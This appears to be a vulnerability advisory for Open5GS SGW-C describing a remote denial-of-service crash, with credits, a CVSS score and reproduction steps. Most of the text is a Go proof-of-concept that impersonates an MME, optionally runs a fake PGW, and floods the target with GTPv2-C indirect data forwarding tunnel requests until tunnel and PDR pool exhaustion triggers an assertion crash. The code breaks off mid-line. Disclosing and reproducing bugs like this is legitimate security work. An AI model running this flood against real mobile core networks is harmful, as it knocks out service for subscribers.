| 説明 | ### Description
SGW-C can be remotely crashed through a GTPv2-C sequence that forces excessive tunnel/PDR allocations until the PFCP PDR ID pool is exhausted. Using the provided PoC (acting as MME and optionally a fake PGW), the attacker first sends CreateSessionRequest with multiple bearer contexts, then repeatedly sends CreateIndirectDataForwardingTunnelRequest containing bearer contexts with s1_u_enodeb_f_teid (and optionally s12_rnc_f_teid) to drive additional tunnel-related allocations. Over repeated rounds, SGW-C eventually fails to allocate a new PDR ID (pdr_id_pool() failed), and immediately after that, sgwc_tunnel_add hits an assertion ogs_assert(pdr) (src/sgwc/context.c:699), causing a denial-of-service crash.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// Vuln-PC1-09 PoC: Tunnel pool exhaustion triggers ogs_assert(tunnel)
// Target: Open5GS SGW-C sgwc_tunnel_add (S11 interface)
// Flow:
// 1) Act as MME: send CreateSessionRequest (TEID=0) with multiple bearers.
// 2) Act as PGW (local fake S5-C): respond to SGW-C's S5-C CreateSessionRequest.
// 3) Read SGW S11 TEID from CreateSessionResponse (Sender F-TEID).
// 4) Act as MME: send CreateIndirectDataForwardingTunnelRequest with bearer contexts
// containing s1_u_enodeb_f_teid (and optional s12_rnc_f_teid).
// 5) Repeat until tunnel pool exhausted -> ogs_assert(tunnel) at context.c:694.
//
// Notes:
// - Fake PGW responder is optional but needed to get SGW S11 TEID quickly.
// - Keep base bearers within 5..15 EBI range to avoid session replacement.
package main
import (
"errors"
"flag"
"fmt"
"log"
"net"
"sync/atomic"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
const (
minEBI = 5
maxEBI = 15
maxBearersPerReq = 8
defaultBearerQoSGBR = 50000
)
var (
target = flag.String("target", "", "Target SGW-C IP (required)")
port = flag.Int("port", 2123, "GTP-C port")
numUEs = flag.Int("ues", 1, "Number of UEs to create")
sessionsPerUE = flag.Int("sessions-per-ue", 1, "Sessions per UE")
bearersPerSession = flag.Int("bearers", 4, "Bearers per session (1-4 recommended)")
idfCount = flag.Int("idf-count", 0, "Number of CreateIndirectDataForwardingTunnelRequest rounds (0=auto)")
includeS12 = flag.Bool("include-s12", true, "Include s12_rnc_f_teid to allocate 2 tunnels per bearer")
delay = flag.Duration("delay", 20*time.Millisecond, "Delay between requests")
idfDelay = flag.Duration("idf-delay", 5*time.Millisecond, "Delay between IDF tunnel requests")
localIPFlag = flag.String("local-ip", "", "Local IP for MME simulation (auto if empty)")
pgwIP = flag.String("pgw-ip", "10.44.44.4", "PGW S5/S8 GTP-C IP (required IE)")
respTimeout = flag.Duration("resp-timeout", 1200*time.Millisecond, "Timeout to wait for CreateSessionResponse (for SGW S11 TEID)")
fakePGW = flag.Bool("fake-pgw", false, "Start local S5-C fake PGW responder")
fakePGWBind = flag.String("fake-pgw-bind", "", "Bind address for fake PGW (ip:port), default uses pgw-ip:port")
fakePGWPAA = flag.String("fake-pgw-paa", "10.9.0.1", "PAA IPv4 address in fake PGW response")
maxUE = flag.Int("max-ue", 50, "Configured global.max.ue (for pool sizing)")
maxSessionsPerUE = flag.Int("max-sessions-per-ue", 4, "Configured OGS_MAX_NUM_OF_SESS")
maxBearersPerSess = flag.Int("max-bearers-per-session", 4, "Configured OGS_MAX_NUM_OF_BEARER")
strictEBI = flag.Bool("strict-ebi", true, "Keep EPS Bearer ID within 5..15")
)
var (
fakePGWS5CTEID uint32 = 0x22000000
fakePGWS5UTEID uint32 = 0x33000000
)
type ueContext struct {
imsi string
sgwS11TEID uint32
ebis []uint8
}
func main() {
flag.Parse()
if *target == "" {
log.Fatal("--target is required")
}
ues := *numUEs
sessions := *sessionsPerUE
bearers := *bearersPerSession
if ues < 1 {
ues = 1
}
if sessions < 1 {
sessions = 1
}
if bearers < 1 {
bearers = 1
}
if bearers > maxBearersPerReq {
fmt.Printf("[!] bearers capped from %d to %d (OGS_BEARER_PER_UE)\n", bearers, maxBearersPerReq)
bearers = maxBearersPerReq
}
if *strictEBI {
maxSessionsByEBI := (maxEBI - minEBI + 1) / bearers
if maxSessionsByEBI < 1 {
maxSessionsByEBI = 1
}
if sessions > maxSessionsByEBI {
fmt.Printf("[!] sessions-per-ue capped from %d to %d to keep EPS Bearer IDs within 5..15\n", sessions, maxSessionsByEBI)
sessions = maxSessionsByEBI
}
}
poolSessions := *maxUE * *maxSessionsPerUE
poolBearers := poolSessions * *maxBearersPerSess
poolTunnels := poolBearers * 3
baseBearers := ues * sessions * bearers
baseTunnels := baseBearers * 2
tunnelsPerBearer := 1
if *includeS12 {
tunnelsPerBearer = 2
}
tunnelsPerRound := ues * sessions * bearers * tunnelsPerBearer
remaining := poolTunnels - baseTunnels
idfRounds := *idfCount
if idfRounds == 0 {
if tunnelsPerRound <= 0 {
idfRounds = 1
} else if remaining <= 0 {
idfRounds = 1
} else {
idfRounds = (remaining / tunnelsPerRound) + 2
}
}
fmt.Println("============================================")
fmt.Println("Vuln-PC1-09 PoC: SGW-C Tunnel Pool Exhaustion")
fmt.Println("============================================")
fmt.Printf("[*] Target: %s:%d (S11)\n", *target, *port)
fmt.Printf("[*] Pool sizing: max-ue=%d, max-sessions-per-ue=%d, max-bearers-per-session=%d\n", *maxUE, *maxSessionsPerUE, *maxBearersPerSess)
fmt.Printf("[*] pool.sess=%d, pool.bearer=%d, pool.tunnel=%d\n", poolSessions, poolBearers, poolTunnels)
fmt.Printf("[*] Base: %d UEs x %d sessions/UE x %d bearers/session -> %d bearers, %d tunnels\n", ues, sessions, bearers, baseBearers, baseTunnels)
fmt.Printf("[*] IDF per round: %d tunnels (include-s12=%v)\n", tunnelsPerRound, *includeS12)
fmt.Printf("[*] IDF rounds: %d\n", idfRounds)
fmt.Println("[*] Trigger: ogs_assert(tunnel) in context.c:694")
fmt.Println("============================================")
if baseBearers > poolBearers {
fmt.Printf("[!] WARNING: base bearers %d > pool.bearer %d (may assert in sgwc_bearer_add)\n", baseBearers, poolBearers)
}
conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", *target, *port))
if err != nil {
log.Fatalf("Failed to dial: %v", err)
}
defer conn.Close()
localIP := *localIPFlag
if localIP == "" {
localIP = conn.LocalAddr().(*net.UDPAddr).IP.String()
}
fmt.Printf("[*] Local IP: %s\n", localIP)
if *fakePGW {
bindAddr := *fakePGWBind
if bindAddr == "" {
bindAddr = fmt.Sprintf("%s:%d", *pgwIP, *port)
}
fakeConn, err := startFakePGW(bindAddr, *pgwIP, *fakePGWPAA)
if err != nil {
log.Fatalf("Failed to start fake PGW responder: %v", err)
}
defer fakeConn.Close()
fmt.Printf("[*] Fake PGW responder listening on %s\n", bindAddr)
}
apns := []string{"internet", "ims", "mms", "enterprise"}
var seq uint32 = 1
successCSR := 0
ueContexts := make([]ueContext, 0, ues)
for ue := 0; ue < ues; ue++ {
imsi := fmt.Sprintf("00101%010d", ue)
sgwS11TEID := uint32(0)
ebis := make([]uint8, 0, sessions*bearers)
for s := 0; s < sessions; s++ {
baseEBI := minEBI + s*bearers
if baseEBI+bearers-1 > maxEBI && *strictEBI {
log.Printf("[!] IMSI %s: EBI range exceeds 15; stop creating sessions", imsi)
break
}
headerTEID := uint32(0)
if s > 0 {
if sgwS11TEID == 0 {
log.Printf("[!] IMSI %s: missing SGW S11 TEID, skip extra sessions", imsi)
break
}
headerTEID = sgwS11TEID
}
mmeTEID := uint32(0x11000000 + ue*1000 + s)
apn := apns[s%len(apns)]
csr := buildCSR(seq, headerTEID, imsi, mmeTEID, localIP, *pgwIP, apn, baseEBI, bearers)
payload, err := csr.Marshal()
if err != nil {
log.Printf("[!] Marshal CSR error: %v", err)
continue
}
if _, err := conn.Write(payload); err != nil {
log.Printf("[!] Send CSR error: %v", err)
goto done
}
successCSR++
seq++
for b := 0; b < bearers; b++ {
ebis = append(ebis, uint8(baseEBI+b))
}
if s == 0 {
rsp, err := waitForCreateSessionResponse(conn, *respTimeout, mmeTEID)
if err != nil {
log.Printf("[!] IMSI %s: CreateSessionResponse not received: %v", imsi, err)
} else {
sgwS11TEID, err = extractSGWS11TEID(rsp)
if err != nil {
log.Printf("[!] IMSI %s: failed to extract SGW S11 TEID: %v", imsi, err)
} else {
log.Printf("[*] IMSI %s: SGW S11 TEID=0x%x", imsi, sgwS11TEID)
}
}
}
if *delay > 0 {
time.Sleep(*delay)
}
}
ueContexts = append(ueContexts, ueContext{imsi: imsi, sgwS11TEID: sgwS11TEID, ebis: ebis})
}
fmt.Printf("[*] Sent %d CreateSessionRequests\n", successCSR)
fmt.Println("[*] Starting CreateIndirectDataForwardingTunnelRequest flood...")
for round := 0; round < idfRounds; round++ {
for _, ue := range ueContexts {
if ue.sgwS11TEID == 0 || len(ue.ebis) == 0 {
continue
}
msg := buildIDFTR(seq, ue.sgwS11TEID, ue.ebis, localIP, *includeS12)
payload, err := msg.Marshal()
if err != nil {
log.Printf("[!] Marshal IDF error: %v", err)
continue
}
if _, err := conn.Write(payload); err != nil {
log.Printf("[!] Send IDF error: %v", err)
goto done
}
seq++
}
if (round+1)%10 == 0 {
fmt.Printf("[*] Sent %d IDF rounds...\n", round+1)
}
if *idfDelay > 0 {
time.Sleep(*idfDelay)
}
}
done:
fmt.Println("============================================")
f |
|---|